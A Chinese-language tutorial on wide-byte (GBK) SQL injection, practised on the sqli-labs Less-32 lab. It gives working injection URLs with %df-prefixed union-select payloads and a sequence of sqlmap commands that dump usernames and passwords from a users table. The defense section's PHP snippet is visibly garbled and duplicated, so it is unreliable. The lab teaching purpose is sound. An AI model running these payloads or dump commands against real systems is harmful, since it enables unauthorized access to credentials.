SQL注入之宽字节注入

文章目录

SQL注入之宽字节注入
前言
一、什么是宽字节注入
二、宽字节注入获取数据库信息
- 1.宽字节注入方法
- 2.宽字节注入防御方法
总结

前言

一、什么是宽字节注入

宽字节是相对于ascII这样单字节而言的；像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节，实际上只有两字节。GBK 是一种多字符的编码，通常来说，一个 gbk 编码汉字，占用2个字节。一个 utf-8 编码的汉字，占用3个字节。

转义函数：为了过滤用户输入的一些数据，对特殊的字符加上反斜杠“\”进行转义；

宽字节注入指的是 mysql 数据库在使用宽字节（GBK）编码时，会认为两个字符是一个汉字（前一个ascii码要大于128（比如%df），才到汉字的范围），而且当我们输入单引号时，mysql会调用转义函数，将单引号变为’，其中\的十六进制是%5c,mysql的GBK编码，会认为%df%5c是一个宽字节，也就是’運’，从而使单引号闭合（逃逸），进行注入攻击。

二、宽字节注入获取数据库信息

1.宽字节注入方法

宽字节注入原理
程序员防止注入点，在其后面加入\进行转义
利用在其后面注入点发现没有报错
http://192.168.222.4/sqli-labs/Less-32/?id=2%df%27

注入?id=1%df’ 出现报错，存在注入
http://192.168.222.4/sqli-labs/Less-32/?id=1’（不可以注入）
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27
MySQL在使用GBK编码时，两个字符组合，认为是一个汉字
%df’->%df’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)

（1）用sqli-labs靶场进行演示，这里l利用32关进行练习
首先我们尝试进行注入在后面加’
http://192.168.222.4/sqli-labs/Less-32/?id=1’

发现没有报错，我们可以去看看源代码是怎么写的

发现注入的’ 被\转义了，无法进行注入
而且发现代码中用的是gbk编码,说明存在宽字节注入
mysql_query(“SET NAMES gbk”);

然后我们就可以进行宽字节注入，后面叫上%df’试试
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’

发现报错，所以肯定存在宽字节注入，然后查询有多少列

发现存在3列，接下来尝试注入查找用户信息
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select user()),3–+

注入成功，查看当前数据库的表
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3–+

用户信息应该在users表中，接下来继续注入查看表中的信息，这里利用sqlmap进行注入查询，会比较方便
（2）打开sqlmap，输入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”

这里会显示id没有注入，没事，进行下一步宽字节注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”

没有报错，接下来查当前用户
sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user

查用户成功，接下来查库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db（查数据库）

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column

(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump（使用dump来获取内容）

2.宽字节注入防御方法

（1）使用utf-8，避免宽字节注入；
ps: 不仅在gbk,韩文，日文等等都是快字节注入漏洞

2.mysql_real_escape_string,mysql_set_charset('gbk,conn′);3.可以设置参数，charactersetclient=binary只需在该语句中插入conn'); 3.可以设置参数，character_set_client=binary 只需在该语句中插入conn′);3.可以设置参数，charactersetclient=binary只需在该语句中插入result=mysql_query($sql)即可
result=mysqlquery("charactersetclient=binary",result=mysql_query("character_set_client=binary",result=mysqlquery("charactersetclient=binary",sql);//就不会出现宽字节注入了

（2）这里总结一下sqlmap宽字节注入的使用语句

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db（查数据库）
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column

(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump（使用dump来获取内容）

总结

本次实验是对SQL注入的宽字节注入进行靶场练习，了解了宽字节注入的原理和注入方法，学会了对代码的审计，判断注入的方式，从而获取到用户的信息。

渗透测试-SQL注入之宽字节注入相关推荐

ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入
0x01 前言准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...
mysql宽字节注入_(宽字节注入) 手注+sqlmap
进入题目后先简单尝试一下. 很明显的宽字节注入. 宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码. 手工注入 1.判断列数: http://chinalo ...
sql注入_1-8_宽字节注入
文章目录一.sql_宽字节注入概念二.sql_宽字节注入源码分析三.sql_宽字节注入演示四.sql_宽字节注入总结一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...
mysql sql宽字节注入_sql注入之宽字节注入
宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码不过既然是sql注入的一部分,也搭建环境做做实验实验环境: wamp集成包实 ...
盲注、报错注入、宽字节注入、堆叠注入学习笔记
文章目录一.盲注二.报错注入什么是报错注入报错注入原理报错注入的场景常用报错函数 1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数) 2.extrac ...
11、注入篇--宽字节注入
注入基础 GBK 编码两个字节表示一个字符 ASCII 编码一个字节表示一个字符 MYSQL默认字节集是GBK等宽字节字符集 addslashes()函数 addslashes ( string ...
渗透测试学习笔记（一）注入篇-盲注二次注入宽字节注入
时间注入攻击 sleep() 利用函数if(条件,结果1,结果2) len id = 1 and if(length(database())>1,sleep(5),1) 首先猜解表名称长度 s ...
渗透测试小菜鸡开课了-SLQ注入分类
本人是一名信息安全专业的在校生,写文章的目的是记录每日的学习心得,打下更加牢固的基础,以及写一些收集到的信息供各位走过路过的同学参考与讨论,同时也是希望给一些超级超级的新手对于渗透测试的学习提供点材料 ...
mysql注入转义绕过_SQL注入防御绕过——宽字节注入
01 背景知识字符集在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...
php 宽字节注入转成utf8,Hr-Papers|宽字节注入深度讲解
/*Team:红日安全团队团队成员:CPRTitle:宽字节注入*/ 原理介绍基本概概念宽字节是相对于ascII这样单字节而言的:像GB2312.GBK.GB18030.BIG5.Shift_JIS ...

渗透测试-SQL注入之宽字节注入